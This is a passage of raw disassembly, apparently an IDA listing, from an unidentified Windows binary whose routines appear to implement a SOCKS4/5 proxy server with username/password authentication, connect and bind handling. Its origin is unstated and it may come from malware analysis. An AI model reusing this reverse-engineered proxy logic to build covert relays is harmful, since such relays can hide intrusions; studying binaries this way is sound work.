loc_40C464: ; CODE XREF: sub_40C38F+ABj push dword ptr [edi] call ds:dword_429138 ; ReleaseMutex mov eax, [esi] jmp short loc_40C4A4 ; --------------------------------------------------------------------------- loc_40C470: ; CODE XREF: sub_40C38F+CBj xor eax, eax loc_40C472: ; CODE XREF: sub_40C38F+D3j or dword ptr [ebp-4], 0FFFFFFFFh mov [ebp-10h], eax lea eax, [edi+4] lea esi, [ebp-10h] call sub_40C2E7 mov ecx, [edi+0Ch] mov eax, [ebp+8] sub ecx, 4 mov ebx, [ecx] call sub_41520F push dword ptr [edi] call ds:dword_429138 ; ReleaseMutex mov edi, [edi+0Ch] sub edi, 4 mov eax, [edi] loc_40C4A4: ; CODE XREF: sub_40C38F+9Dj ; sub_40C38F+DFj mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40C38F endp ; =============== S U B R O U T I N E ======================================= sub_40C4B5 proc near ; CODE XREF: .text:0040A4E8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] cmp ecx, [esp+arg_4] jz short loc_40C4CE mov edx, [edx] loc_40C4C1: ; CODE XREF: sub_40C4B5+17j cmp [ecx], edx jz short loc_40C4CE add ecx, 4 cmp ecx, [esp+arg_4] jnz short loc_40C4C1 loc_40C4CE: ; CODE XREF: sub_40C4B5+8j ; sub_40C4B5+Ej mov [eax], ecx retn sub_40C4B5 endp ; =============== S U B R O U T I N E ======================================= sub_40C4D1 proc near ; DATA XREF: .text:0043053Co arg_0 = byte ptr 4 mov eax, [ecx+34h] mov ecx, [ecx+158h] push esi push edi sub esp, 2Ch lea eax, [ecx+eax*4] push 0Bh pop ecx mov edi, esp push dword ptr [eax] lea esi, [esp+38h+arg_0] rep movsd call sub_409BDA pop edi pop esi retn 2Ch sub_40C4D1 endp ; =============== S U B R O U T I N E ======================================= sub_40C4F9 proc near ; DATA XREF: .text:0043054Co mov eax, offset loc_427EE6 call sub_41E550 push ecx push esi push edi push 0DD0h mov esi, ecx call sub_41BA91 pop ecx mov [ebp-10h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40C525 call sub_40A355 jmp short loc_40C527 ; --------------------------------------------------------------------------- loc_40C525: ; CODE XREF: sub_40C4F9+23j xor eax, eax loc_40C527: ; CODE XREF: sub_40C4F9+2Aj or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [esi+1Ch] lea edx, [ecx-574h] mov edi, [edx+470h] mov ecx, [esi+2Ch] shr edi, 4 not edi and edi, 1 push edi sub ecx, 24h push ecx push edx push eax mov [ebp-10h], eax call sub_409B4C lea eax, [esi+154h] lea esi, [ebp-10h] call sub_40C2E7 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn sub_40C4F9 endp ; =============== S U B R O U T I N E ======================================= sub_40C570 proc near ; DATA XREF: .text:00430550o var_4 = byte ptr -4 push ecx push ebx push esi mov esi, ecx mov eax, [esi+34h] mov ecx, [esi+158h] lea eax, [ecx+eax*4] mov eax, [eax] test eax, eax jz short loc_40C58F push 1 push eax call sub_40C5AF loc_40C58F: ; CODE XREF: sub_40C570+15j mov eax, [esi+34h] mov ecx, [esi+158h] lea eax, [ecx+eax*4] push eax add esi, 154h lea ebx, [esp+10h+var_4] call sub_408B03 pop esi pop ebx pop ecx retn sub_40C570 endp ; =============== S U B R O U T I N E ======================================= sub_40C5AF proc near ; CODE XREF: sub_40C570+1Ap arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] call sub_40C5D0 test [esp+arg_4], 1 jz short loc_40C5C9 push [esp+arg_0] call sub_41C7B8 pop ecx loc_40C5C9: ; CODE XREF: sub_40C5AF+Ej mov eax, [esp+arg_0] retn 8 sub_40C5AF endp ; =============== S U B R O U T I N E ======================================= sub_40C5D0 proc near ; CODE XREF: sub_40C5AF+4p push edi mov edi, eax push dword ptr [edi+7D8h] call ds:dword_4290F0 ; CloseHandle call sub_409A78 pop edi retn sub_40C5D0 endp ; =============== S U B R O U T I N E ======================================= sub_40C5E6 proc near ; CODE XREF: sub_40F8F8+5Bp mov eax, offset loc_427941 call sub_41E550 push esi mov esi, [ebp+8] xor eax, eax push edi mov [esi], eax mov [esi+4], eax push dword ptr [ebp+0Ch] mov [ebp-4], eax call sub_41C350 mov edi, eax pop ecx add edi, 0D8h call sub_40E23E push 0D7h mov edi, eax push offset loc_4351D8 push edi call sub_41BC60 push dword ptr [ebp+0Ch] call sub_41C350 inc eax push eax push dword ptr [ebp+0Ch] add edi, 0D7h push edi call sub_41BC60 add esp, 1Ch push 7 push offset dword_4305FC mov eax, esi call sub_40E143 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 8 sub_40C5E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C663 proc near ; CODE XREF: sub_402AC9+302p ; sub_402AC9+3D4p ... arg_0 = dword ptr 4 lea ecx, [edx+0F8h] movzx edx, word ptr [edx+6] push edi xor eax, eax xor edi, edi test edx, edx jbe short loc_40C6A2 push ebx push esi loc_40C678: ; CODE XREF: sub_40C663+2Fj mov esi, [ecx+0Ch] cmp [esp+0Ch+arg_0], esi jb short loc_40C68C mov ebx, [ecx+10h] add ebx, esi cmp [esp+0Ch+arg_0], ebx jb short loc_40C696 loc_40C68C: ; CODE XREF: sub_40C663+1Cj add ecx, 28h inc edi cmp edi, edx jb short loc_40C678 jmp short loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C696: ; CODE XREF: sub_40C663+27j mov eax, [ecx+14h] sub eax, [ecx+0Ch] add eax, [esp+0Ch+arg_0] loc_40C6A0: ; CODE XREF: sub_40C663+31j pop esi pop ebx loc_40C6A2: ; CODE XREF: sub_40C663+11j pop edi retn sub_40C663 endp ; =============== S U B R O U T I N E ======================================= sub_40C6A4 proc near ; CODE XREF: sub_40F6A4+BEp ; sub_4142D6+44Cp arg_0 = byte ptr 4 arg_4 = word ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h and dword ptr [edi+4], 0 or dword ptr [edi+0Ch], 0FFFFFFFFh push esi lea esi, [edi+30h] mov dword ptr [edi], offset off_430610 call sub_414878 mov ax, [esp+4+arg_4] mov [edi+5A4h], ax mov al, [esp+4+arg_0] push 10h push [esp+8+arg_8] mov [edi+5A6h], al lea eax, [edi+10h] push eax call sub_41BC60 push 10h push [esp+14h+arg_C] lea eax, [edi+20h] push eax call sub_41BC60 xor ecx, ecx add esp, 18h inc ecx mov eax, esi call sub_4148AA push esi call sub_414ACD mov esi, edi call sub_416AC4 mov eax, edi pop esi retn 10h sub_40C6A4 endp ; =============== S U B R O U T I N E ======================================= sub_40C70F proc near ; DATA XREF: .text:00430614o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40C72B test [esp+4+arg_0], 1 jz short loc_40C725 push esi call sub_41C7B8 pop ecx loc_40C725: ; CODE XREF: sub_40C70F+Dj mov eax, esi pop esi retn 4 sub_40C70F endp ; =============== S U B R O U T I N E ======================================= sub_40C72B proc near ; CODE XREF: sub_40C70F+3p push 3 lea eax, [esi+30h] mov dword ptr [esi], offset off_430610 call sub_414D44 mov ecx, esi jmp sub_416AA6 sub_40C72B endp ; --------------------------------------------------------------------------- loc_40C742: ; DATA XREF: .text:off_430610o mov eax, offset loc_427A49 call sub_41E550 sub esp, 5B8h push ebx push esi push edi mov edi, ecx lea esi, [ebp-20h] mov [ebp-18h], edi call sub_405E63 and dword ptr [ebp-4], 0 xor eax, eax mov ax, [edi+5A4h] push offset aNull_1 ; "null" push 6 push eax mov eax, esi call sub_405EF4 push 8 lea esi, [edi+30h] pop ebx mov [ebp-10h], esi call sub_414AE0 mov ax, [edi+5A4h] mov ecx, esi call sub_414997 or esi, 0FFFFFFFFh cmp eax, esi jz loc_40C840 mov eax, [ebp-10h] push 4 call sub_414A0C cmp eax, esi jz loc_40C840 mov eax, [edi+49Ch] mov [ebp-14h], eax loc_40C7C0: ; CODE XREF: .text:0040C7D7j ; .text:0040C7DBj ... push 0 push 0FFFFFFFFh push 0 lea eax, [ebp-14h] push eax push 1 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_40C7C0 test eax, eax jnz short loc_40C7C0 mov edi, [ebp-10h] lea eax, [ebp-50h] push eax call sub_414C04 test byte ptr [ebp-50h], 8 jz short loc_40C7C0 lea esi, [ebp-5C4h] call sub_414878 push edi lea esi, [ebp-5C4h] call sub_414A1F push 21h pop ebx lea esi, [ebp-5C4h] call sub_414AE0 push 0D88h call sub_41BA91 pop ecx mov [ebp-24h], eax test eax, eax mov byte ptr [ebp-4], 1 jz short loc_40C83A push dword ptr [ebp-18h] lea ecx, [ebp-5C4h] push ecx push eax call sub_40C85A loc_40C83A: ; CODE XREF: .text:0040C828j mov byte ptr [ebp-4], 0 jmp short loc_40C7C0 ; --------------------------------------------------------------------------- loc_40C840: ; CODE XREF: .text:0040C79Fj ; .text:0040C7B1j mov [ebp-4], esi lea esi, [ebp-20h] call sub_405EDB mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn ; =============== S U B R O U T I N E ======================================= sub_40C85A proc near ; CODE XREF: .text:0040C835p mov eax, offset loc_427A2D call sub_41E550 push ebx mov ebx, [ebp+8] or dword ptr [ebx+0Ch], 0FFFFFFFFh push esi push edi xor edi, edi mov [ebx+4], edi mov [ebp-4], edi lea esi, [ebx+1Ch] mov dword ptr [ebx], offset off_430604 call sub_414878 lea esi, [ebx+590h] call sub_414878 lea eax, [ebx+0B08h] mov [eax], edi mov [eax+4], edi mov [eax+8], edi lea eax, [ebx+0B18h] mov [eax], edi mov [eax+4], edi mov [eax+8], edi lea eax, [ebx+0B28h] call sub_414E89 mov esi, [ebp+0Ch] mov ecx, 15Dh lea edi, [ebx+1Ch] rep movsd mov ecx, [ebp+10h] mov [ebx+10h], ecx mov dx, [ecx+5A4h] mov [ebx+0B50h], dx mov cl, [ecx+5A6h] and dword ptr [ebx+0B58h], 0 mov edi, 400h mov esi, eax mov [ebx+0B4Dh], cl call sub_414EC6 xor edx, edx inc edx lea eax, [ebx+0B28h] call sub_414FF1 lea esi, [ebx+590h] mov ecx, edx mov eax, esi call sub_4148AA push esi call sub_414ACD and dword ptr [ebx+0D80h], 0 mov esi, ebx call sub_416AC4 mov ecx, [ebp-0Ch] pop edi pop esi mov eax, ebx pop ebx mov large fs:0, ecx leave retn 0Ch sub_40C85A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C93A proc near ; DATA XREF: .text:00430608o arg_0 = byte ptr 4 push edi mov edi, ecx call sub_40C956 test [esp+4+arg_0], 1 jz short loc_40C950 push edi call sub_41C7B8 pop ecx loc_40C950: ; CODE XREF: sub_40C93A+Dj mov eax, edi pop edi retn 4 sub_40C93A endp ; =============== S U B R O U T I N E ======================================= sub_40C956 proc near ; CODE XREF: sub_40C93A+3p push esi lea esi, [edi+0B28h] mov dword ptr [edi], offset off_430604 call sub_414EA3 push 3 lea eax, [edi+1Ch] call sub_414D44 push 3 lea eax, [edi+590h] call sub_414D44 mov ecx, edi pop esi jmp sub_416AA6 sub_40C956 endp ; =============== S U B R O U T I N E ======================================= sub_40C987 proc near ; DATA XREF: .text:off_430604o var_2C = byte ptr -2Ch sub esp, 2Ch push ebx mov ebx, ecx mov eax, [ebx+488h] push ebp lea ebp, [ebx+14h] mov [ebp+0], eax mov eax, [ebx+9FCh] push esi push edi mov [ebx+18h], eax loc_40C9A5: ; CODE XREF: sub_40C987+8Ej ; sub_40C987+A4j push 0 push 3E8h push 0 push ebp push 2 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_40CA1F test eax, eax jnz short loc_40C9E5 lea eax, [esp+3Ch+var_2C] push eax lea edi, [ebx+1Ch] call sub_414C04 sub esp, 2Ch push 0Bh pop ecx mov edi, esp lea esi, [esp+68h+var_2C] push ebx rep movsd call sub_40CA30 jmp short loc_40CA0E ; --------------------------------------------------------------------------- loc_40C9E5: ; CODE XREF: sub_40C987+39j cmp eax, 1 jnz short loc_40CA0E lea eax, [esp+3Ch+var_2C] push eax lea edi, [ebx+590h] call sub_414C04 sub esp, 2Ch push 0Bh pop ecx mov edi, esp lea esi, [esp+68h+var_2C] push ebx rep movsd call sub_40D453 loc_40CA0E: ; CODE XREF: sub_40C987+5Cj ; sub_40C987+61j cmp dword ptr [ebx+0D80h], 2 jnz short loc_40C9A5 pop edi pop esi pop ebp pop ebx add esp, 2Ch retn ; --------------------------------------------------------------------------- loc_40CA1F: ; CODE XREF: sub_40C987+35j push dword ptr [ebx+488h] call ds:dword_42910C ; SetEvent jmp loc_40C9A5 sub_40C987 endp ; =============== S U B R O U T I N E ======================================= sub_40CA30 proc near ; CODE XREF: sub_40C987+57p mov eax, offset loc_427A1B call sub_41E550 sub esp, 60Ch push ebx mov ebx, [ebp+8] cmp dword ptr [ebx+0B58h], 0Dh push esi push edi jz loc_40D3B0 mov eax, [ebp+0Ch] and eax, 1 mov [ebp-30h], eax loc_40CA5C: ; CODE XREF: sub_40CA30+97Aj cmp dword ptr [ebp-30h], 0 jz loc_40D423 lea eax, [ebx+1Ch] mov [ebp-14h], eax lea eax, [ebx+0B28h] mov [ebp-10h], eax jmp short loc_40CA7A ; --------------------------------------------------------------------------- loc_40CA77: ; CODE XREF: sub_40CA30+1BCj ; sub_40CA30+22Dj ... mov ebx, [ebp+8] loc_40CA7A: ; CODE XREF: sub_40CA30+45j ; sub_40CA30+6Fj ... push dword ptr [ebp-14h] mov edi, [ebp-10h] call sub_414EDD test eax, eax jle loc_40D423 cmp dword ptr [ebx+0B58h], 0 jnz short loc_40CAF4 mov eax, edi call sub_41501F test eax, eax jz short loc_40CA7A mov eax, [edi] mov al, [eax] cmp al, 4 mov [ebx+0B4Ch], al jz short loc_40CAB9 cmp al, 5 jnz loc_40D10A jmp short loc_40CAC6 ; --------------------------------------------------------------------------- loc_40CAB9: ; CODE XREF: sub_40CA30+7Dj test byte ptr [ebx+0B4Dh], 1 jz loc_40D10A loc_40CAC6: ; CODE XREF: sub_40CA30+87j cmp al, 5 jnz short loc_40CADC test byte ptr [ebx+0B4Dh], 2 jnz loc_40CBBC jmp loc_40D10A ; --------------------------------------------------------------------------- loc_40CADC: ; CODE XREF: sub_40CA30+98j cmp al, 4 jnz loc_40CBB4 xor edx, edx inc edx mov eax, edi mov [ebx+0B58h], edx call sub_414FF1 loc_40CAF4: ; CODE XREF: sub_40CA30+64j cmp dword ptr [ebx+0B58h], 1 jnz short loc_40CB31 mov eax, edi call sub_41501F test eax, eax jz loc_40CA7A mov eax, [edi] mov al, [eax] and dword ptr [ebx+0C7Ch], 0 push 6 mov [ebx+0B4Fh], al pop edx mov eax, edi mov dword ptr [ebx+0B58h], 2 call sub_414FF1 loc_40CB31: ; CODE XREF: sub_40CA30+CBj mov eax, [ebx+0B58h] cmp eax, 2 jnz loc_40CBD5 mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov edi, eax call sub_415008 push dword ptr [esi] lea ecx, [ebx+0C7Ch] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz loc_40CA7A push 2 lea eax, [ebx+0C80h] push eax lea esi, [ebx+0B50h] push esi call sub_41BC60 push 4 lea eax, [ebx+0C82h] push eax lea eax, [ebx+0B54h] push eax call sub_41BC60 xor eax, eax mov ax, [esi] add esp, 18h push eax call ds:dword_4292E4 ; htons mov [esi], ax mov dword ptr [ebx+0B58h], 3 jmp short loc_40CBDA ; --------------------------------------------------------------------------- loc_40CBB4: ; CODE XREF: sub_40CA30+AEj cmp al, 5 jnz loc_40CA7A loc_40CBBC: ; CODE XREF: sub_40CA30+A1j xor edx, edx inc edx mov eax, edi mov dword ptr [ebx+0B58h], 7 call sub_414FF1 jmp loc_40CDDC ; --------------------------------------------------------------------------- loc_40CBD5: ; CODE XREF: sub_40CA30+10Aj cmp eax, 3 jnz short loc_40CC46 loc_40CBDA: ; CODE XREF: sub_40CA30+182j mov esi, [ebp-10h] xor ebx, ebx push offset byte_42FE34 inc ebx call sub_414F40 test eax, eax jz loc_40CA77 mov eax, [ebp+8] mov ecx, [eax+0B54h] test ecx, 0FFFFFFh jnz short loc_40CC1A test ecx, ecx jz short loc_40CC1A and dword ptr [eax+0C7Ch], 0 mov dword ptr [eax+0B58h], 4 jmp short loc_40CC4B ; --------------------------------------------------------------------------- loc_40CC1A: ; CODE XREF: sub_40CA30+1D1j ; sub_40CA30+1D5j mov cl, [eax+0B4Fh] cmp cl, 1 jnz short loc_40CC31 mov dword ptr [eax+0B58h], 5 jmp short loc_40CC96 ; --------------------------------------------------------------------------- loc_40CC31: ; CODE XREF: sub_40CA30+1F3j cmp cl, 2 jnz loc_40D41C mov dword ptr [eax+0B58h], 6 jmp short loc_40CCAD ; --------------------------------------------------------------------------- loc_40CC46: ; CODE XREF: sub_40CA30+1A8j cmp eax, 4 jnz short loc_40CCB2 loc_40CC4B: ; CODE XREF: sub_40CA30+1E8j mov esi, [ebp-10h] xor ebx, ebx push offset byte_42FE34 inc ebx call sub_414F40 test eax, eax jz loc_40CA77 mov eax, esi push dword ptr [eax] call sub_41484D cmp eax, 0FFFFFFFFh pop ecx mov ecx, [ebp+8] mov [ecx+0B54h], eax jnz short loc_40CC82 mov eax, ecx jmp loc_40D121 ; --------------------------------------------------------------------------- loc_40CC82: ; CODE XREF: sub_40CA30+249j mov al, [ecx+0B4Fh] cmp al, 1 jnz short loc_40CC9B mov dword ptr [ecx+0B58h], 5 loc_40CC96: ; CODE XREF: sub_40CA30+1FFj mov ebx, [ebp+8] jmp short loc_40CCB7 ; --------------------------------------------------------------------------- loc_40CC9B: ; CODE XREF: sub_40CA30+25Aj cmp al, 2 jnz loc_40D41A mov dword ptr [ecx+0B58h], 6 loc_40CCAD: ; CODE XREF: sub_40CA30+214j mov ebx, [ebp+8] jmp short loc_40CD13 ; --------------------------------------------------------------------------- loc_40CCB2: ; CODE XREF: sub_40CA30+219j cmp eax, 5 jnz short loc_40CD0A loc_40CCB7: ; CODE XREF: sub_40CA30+269j push 8 lea eax, [ebp-2Ch] push 0 push eax call sub_41C6D0 add esp, 0Ch push dword ptr [ebx+0B54h] mov byte ptr [ebp-2Ch], 0 call ds:dword_429274 ; inet_ntoa push eax mov ax, [ebx+0B50h] lea ecx, [ebx+590h] call sub_414A81 mov edi, [ebp-14h] cmp eax, 0FFFFFFFFh push 8 lea eax, [ebp-2Ch] push eax jnz loc_40D338 mov byte ptr [ebp-2Bh], 5Bh call sub_414C2D jmp loc_40D10A ; --------------------------------------------------------------------------- loc_40CD0A: ; CODE XREF: sub_40CA30+285j cmp eax, 6 jnz loc_40CDD9 loc_40CD13: ; CODE XREF: sub_40CA30+280j lea edi, [ebx+590h] xor ax, ax mov ecx, edi call sub_414997 lea esi, [ebp-40h] call sub_405E63 and dword ptr [ebp-4], 0 push offset aNull_1 ; "null" push 6 push edi call sub_414BCD push eax mov eax, esi call sub_405EF4 push 1 mov eax, edi mov byte ptr [ebp-24h], 0 call sub_414A0C cmp eax, 0FFFFFFFFh push 8 jnz short loc_40CD71 mov edi, [ebp-14h] lea eax, [ebp-24h] push eax mov byte ptr [ebp-23h], 5Bh call sub_414C2D mov eax, ebx call sub_40D69B jmp short loc_40CDC8 ; --------------------------------------------------------------------------- loc_40CD71: ; CODE XREF: sub_40CA30+326j pop ebx mov esi, edi call sub_414AE0 push edi mov byte ptr [ebp-23h], 5Ah call sub_414BCD push eax call ds:dword_42927C ; htons push 2 mov [ebp-38h], eax lea eax, [ebp-38h] push eax lea eax, [ebp-22h] push eax call sub_41BC60 push 4 lea eax, [ebp-20h] push 0 push eax call sub_41C6D0 mov edi, [ebp-14h] add esp, 18h push ebx lea eax, [ebp-24h] push eax call sub_414C2D mov eax, [ebp+8] mov dword ptr [eax+0B58h], 0Ch mov ebx, eax loc_40CDC8: ; CODE XREF: sub_40CA30+33Fj or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-40h] call sub_405EDB jmp loc_40CA7A ; --------------------------------------------------------------------------- loc_40CDD9: ; CODE XREF: sub_40CA30+2DDj mov edi, [ebp-10h] loc_40CDDC: ; CODE XREF: sub_40CA30+1A0j cmp dword ptr [ebx+0B58h], 7 jnz short loc_40CE11 mov eax, edi call sub_41501F test eax, eax jz loc_40CA7A mov eax, [edi] and dword ptr [ebx+0C7Ch], 0 mov dword ptr [ebx+0B58h], 8 movsx edx, byte ptr [eax] mov eax, edi call sub_414FF1 loc_40CE11: ; CODE XREF: sub_40CA30+3B3j cmp dword ptr [ebx+0B58h], 8 jnz loc_40CEBA mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov [ebp-18h], eax lea edi, [ebx+0C7Ch] call sub_415008 push dword ptr [esi] mov esi, eax mov eax, edi call sub_40D6E6 cmp dword ptr [ebp-18h], 0 jz loc_40CA7A xor eax, eax cmp [edi], eax mov byte ptr [ebx+0B4Eh], 0FFh jbe short loc_40CE72 loc_40CE5A: ; CODE XREF: sub_40CA30+437j cmp byte ptr [ebx+eax+0C80h], 2 jz short loc_40CE6B inc eax cmp eax, [edi] jb short loc_40CE5A jmp short loc_40CE72 ; --------------------------------------------------------------------------- loc_40CE6B: ; CODE XREF: sub_40CA30+432j mov byte ptr [ebx+0B4Eh], 2 loc_40CE72: ; CODE XREF: sub_40CA30+428j ; sub_40CA30+439j mov al, [ebx+0B4Eh] cmp al, 2 jnz loc_40D0FC mov edi, [ebp-14h] and dword ptr [ebx+0B5Ch], 0 mov [ebp-1Bh], al push 2 lea eax, [ebp-1Ch] push eax mov dword ptr [ebx+0B58h], 9 mov byte ptr [ebp-1Ch], 5 call sub_414C2D mov eax, [ebp-10h] and dword ptr [ebx+0C74h], 0 push 2 pop edx call sub_414FF1 mov edi, eax loc_40CEBA: ; CODE XREF: sub_40CA30+3E8j cmp dword ptr [ebx+0B58h], 9 jnz loc_40D0AB cmp byte ptr [ebx+0B4Eh], 2 jnz loc_40CA7A cmp dword ptr [ebx+0B5Ch], 0 jnz short loc_40CF2B mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov edi, eax call sub_415008 push dword ptr [esi] lea ecx, [ebx+0C74h] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz loc_40CA7A movsx edx, byte ptr [ebx+0C79h] mov eax, [ebp-10h] mov dword ptr [ebx+0B5Ch], 1 call sub_414FF1 and dword ptr [ebx+0C7Ch], 0 mov edi, eax loc_40CF2B: ; CODE XREF: sub_40CA30+4ABj cmp dword ptr [ebx+0B5Ch], 1 jnz loc_40CFCA mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov [ebp-18h], eax lea edi, [ebx+0C7Ch] call sub_415008 push dword ptr [esi] mov esi, eax mov eax, edi call sub_40D6E6 cmp dword ptr [ebp-18h], 0 jz loc_40CA7A lea eax, [ebp-118h] call sub_417057 mov edi, [edi] add ebx, 0C80h push ebx mov ebx, edi call sub_41707B lea eax, [ebp-58h] push eax lea edi, [ebp-118h] call sub_417107 mov esi, [ebp+8] mov eax, [esi+10h] add eax, 10h push 10h push eax lea eax, [ebp-58h] push eax call sub_41D290 add esp, 14h test eax, eax jnz loc_40D116 mov eax, [ebp-10h] xor edx, edx inc edx mov dword ptr [esi+0B5Ch], 2 call sub_414FF1 mov ebx, esi mov edi, eax loc_40CFCA: ; CODE XREF: sub_40CA30+502j cmp dword ptr [ebx+0B5Ch], 2 jnz short loc_40CFFF mov eax, edi call sub_41501F test eax, eax jz loc_40CA7A mov eax, [edi] and dword ptr [ebx+0C7Ch], 0 mov dword ptr [ebx+0B5Ch], 3 movsx edx, byte ptr [eax] mov eax, edi call sub_414FF1 loc_40CFFF: ; CODE XREF: sub_40CA30+5A1j cmp dword ptr [ebx+0B5Ch], 3 jnz loc_40CA7A mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov [ebp-18h], eax lea edi, [ebx+0C7Ch] call sub_415008 push dword ptr [esi] mov esi, eax mov eax, edi call sub_40D6E6 cmp dword ptr [ebp-18h], 0 jz loc_40CA7A lea eax, [ebp-0C0h] call sub_417057 mov edi, [edi] add ebx, 0C80h push ebx mov ebx, edi call sub_41707B lea eax, [ebp-68h] push eax lea edi, [ebp-0C0h] call sub_417107 mov esi, [ebp+8] mov eax, [esi+10h] add eax, 20h push 10h push eax lea eax, [ebp-68h] push eax call sub_41D290 add esp, 14h test eax, eax mov ecx, esi jnz loc_40D118 push eax call sub_40D677 mov eax, [ebp-10h] push 5 pop edx mov dword ptr [esi+0B58h], 0Ah call sub_414FF1 and dword ptr [esi+0B60h], 0 mov ebx, esi loc_40D0AB: ; CODE XREF: sub_40CA30+491j mov eax, [ebx+0B58h] cmp eax, 0Ah jnz loc_40D151 mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov edi, eax call sub_415008 push dword ptr [esi] lea ecx, [ebx+0B60h] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz loc_40CA7A movsx eax, byte ptr [ebx+0B67h] dec eax jz short loc_40D136 dec eax dec eax jz short loc_40D12B dec eax jnz short loc_40D10A push 11h pop edx jmp short loc_40D13D ; --------------------------------------------------------------------------- loc_40D0FC: ; CODE XREF: sub_40CA30+44Aj movsx eax, al cmp eax, 0FFh jnz loc_40CA7A loc_40D10A: ; CODE XREF: sub_40CA30+81j ; sub_40CA30+90j ... mov eax, ebx call sub_40D69B jmp loc_40CA7A ; --------------------------------------------------------------------------- loc_40D116: ; CODE XREF: sub_40CA30+57Bj mov ecx, esi loc_40D118: ; CODE XREF: sub_40CA30+651j push 1 call sub_40D677 mov eax, esi loc_40D121: ; CODE XREF: sub_40CA30+24Dj ; sub_40CA30+848j call sub_40D69B jmp loc_40CA77 ; --------------------------------------------------------------------------- loc_40D12B: ; CODE XREF: sub_40CA30+6C2j movsx edx, byte ptr [ebx+0B68h] inc edx inc edx jmp short loc_40D139 ; --------------------------------------------------------------------------- loc_40D136: ; CODE XREF: sub_40CA30+6BEj push 5 pop edx loc_40D139: ; CODE XREF: sub_40CA30+704j test edx, edx jz short loc_40D10A loc_40D13D: ; CODE XREF: sub_40CA30+6CAj mov eax, [ebp-10h] call sub_414FF1 mov dword ptr [ebx+0B58h], 0Bh jmp short loc_40D15A ; --------------------------------------------------------------------------- loc_40D151: ; CODE XREF: sub_40CA30+684j cmp eax, 0Bh jnz loc_40CA7A loc_40D15A: ; CODE XREF: sub_40CA30+71Fj mov esi, [ebp-10h] mov eax, esi call sub_41501F mov ecx, esi mov edi, eax call sub_415008 push dword ptr [esi] lea ecx, [ebx+0B60h] mov esi, eax mov eax, ecx call sub_40D6E6 test edi, edi jz loc_40CA7A mov al, [ebx+0B67h] cmp al, 1 jnz short loc_40D1DA push 4 lea eax, [ebx+0B68h] push eax lea eax, [ebp-34h] push eax call sub_41BC60 push 2 lea eax, [ebx+0B6Ch] push eax lea eax, [ebx+0B50h] push eax call sub_41BC60 add esp, 18h push 100h push dword ptr [ebp-34h] call ds:dword_429274 ; inet_ntoa push eax lea eax, [ebp-218h] push eax call sub_41C5A0 add esp, 0Ch jmp short loc_40D223 ; --------------------------------------------------------------------------- loc_40D1DA: ; CODE XREF: sub_40CA30+75Ej cmp al, 4 jz short loc_40D223 cmp al, 3 jnz short loc_40D223 lea esi, [ebx+0B68h] movsx eax, byte ptr [esi] push eax lea eax, [ebx+0B69h] push eax lea eax, [ebp-218h] push eax call sub_41C5A0 movsx eax, byte ptr [esi] mov byte ptr [ebp+eax-218h], 0 lea eax, [eax+ebx+0B69h] push 2 push eax lea eax, [ebx+0B50h] push eax call sub_41BC60 add esp, 18h loc_40D223: ; CODE XREF: sub_40CA30+7A8j ; sub_40CA30+7ACj ... xor eax, eax lea esi, [ebx+0B50h] mov ax, [esi] push eax call ds:dword_4292E4 ; htons mov cl, [ebx+0B65h] cmp cl, 1 mov [esi], ax jnz short loc_40D27D mov [ebx+0B4Fh], cl lea ecx, [ebp-218h] push ecx lea ecx, [ebx+590h] call sub_414A81 cmp eax, 0FFFFFFFFh jnz loc_40D35E mov eax, [ebp+8] push 0 push 1 mov ebx, offset dword_43061C call sub_40D606 mov eax, [ebp+8] jmp loc_40D121 ; --------------------------------------------------------------------------- loc_40D27D: ; CODE XREF: sub_40CA30+811j cmp cl, 2 jnz loc_40D324 mov [ebx+0B4Fh], cl lea edi, [ebx+590h] xor ax, ax mov ecx, edi call sub_414997 lea esi, [ebp-48h] call sub_405E63 push offset aNull_1 ; "null" xor esi, esi push 6 inc esi push edi mov [ebp-4], esi call sub_414BCD push eax lea eax, [ebp-48h] call sub_405EF4 push esi mov eax, edi call sub_414A0C cmp eax, 0FFFFFFFFh jnz short loc_40D2E7 mov eax, [ebp+8] push 0 push esi mov ebx, offset dword_43061C call sub_40D606 mov eax, [ebp+8] call sub_40D69B jmp short loc_40D313 ; --------------------------------------------------------------------------- loc_40D2E7: ; CODE XREF: sub_40CA30+89Bj push 8 pop ebx mov esi, edi call sub_414AE0 push edi call sub_414BCD mov esi, [ebp+8] mov ebx, offset dword_43061C push eax push 0 mov eax, esi call sub_40D606 mov dword ptr [esi+0B58h], 0Ch loc_40D313: ; CODE XREF: sub_40CA30+8B5j or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-48h] call sub_405EDB jmp loc_40CA77 ; --------------------------------------------------------------------------- loc_40D324: ; CODE XREF: sub_40CA30+850j cmp cl, 3 jnz loc_40CA7A mov [ebx+0B4Fh], cl jmp loc_40CA7A ; --------------------------------------------------------------------------- loc_40D338: ; CODE XREF: sub_40CA30+2C6j mov byte ptr [ebp-2Bh], 5Ah call 